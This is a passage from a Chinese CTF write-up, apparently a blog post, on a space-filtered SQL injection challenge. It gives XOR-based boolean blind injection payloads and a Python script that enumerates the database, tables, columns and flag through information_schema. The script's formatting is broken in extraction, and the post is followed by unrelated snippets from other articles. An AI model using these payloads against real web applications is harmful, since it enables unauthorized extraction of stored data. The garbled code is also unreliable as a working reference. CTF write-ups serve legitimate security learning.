輸入1看看
明顯sql注入題目,我測試了下,最多只能輸到4,然後我用了下別的sql語句都不行
我試試異或1^1^1
可以查詢到,插入sql語句,(這題其實過濾了空格,因為我之前做過類似的題目我就沒測試啥了)
大於200就查詢不到了,明顯的布林盲注
不多說了,詳情參看極客大挑戰finalsql
注意一點 flag在value裡不是在flag欄位裡
我就直接放exp吧
import requests
url=
''database =
""payload1 =
"?stunum=1^(ascii(substr((select(database())),{},1))>{})^1"
#庫名為ctf
payload2 =
"?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"
#表名為flag,score
payload3 =
"?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1"
#列名為flag,value
payload4 =
"?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1"
#for i in
range(1
,10000):
low =
32 high =
128 mid =
(low + high)//2
while
(low < high)
:# payload = payload1.format(i,mid) #查庫名
# payload = payload2.format(i,mid) #查表名
# payload = payload3.format(i,mid) #查列名
payload = payload4.
format
(i,mid)
#查flag
new_url = url + payload
r = requests.get(new_url)
print
(new_url)
if"hi admin, your score is: 100"
in r.text:
low = mid +
1else
: high = mid
mid =
(low + high)//2
if(mid ==
32or mid ==
132)
:break
database +=
chr(mid)
print
(database)
print
(database)
WUSTCTF2020 樸實無華
瀏覽器標題有亂碼 編碼調成unicode robots.txt fake f1agggg.php 訪問 後啥也沒有 用burp看 這裡必須採用 攔截 不攔截 啥都看不到 burp裡右邊響應頭里有提示,fl4g.php 然後 審計 level 1 if isset get num else else ...
2 02 理解查詢模型
示例 select name from users where age 10 可以形象的看作是下面這樣 let arr let users users.foreach item 是指列與列之間進行運算得出的結果,叫做廣義投影 因為null 表達的意思是 空 null null false null ...
CI20 2 洗牌演算法
實現乙個方法,對一副牌 52張 進行洗牌,要求洗出的52 組合是的等概率的,即每種組合的概率為1 52 假設已經有乙個完美的隨機數生成器。思路 思路比較直觀,第一次從52張牌中隨機取一張出來,概率為1 52 第二次從剩下的51張隨機取一張出來,概率為1 51 以此類推最終的概率就是1 52 接下來是...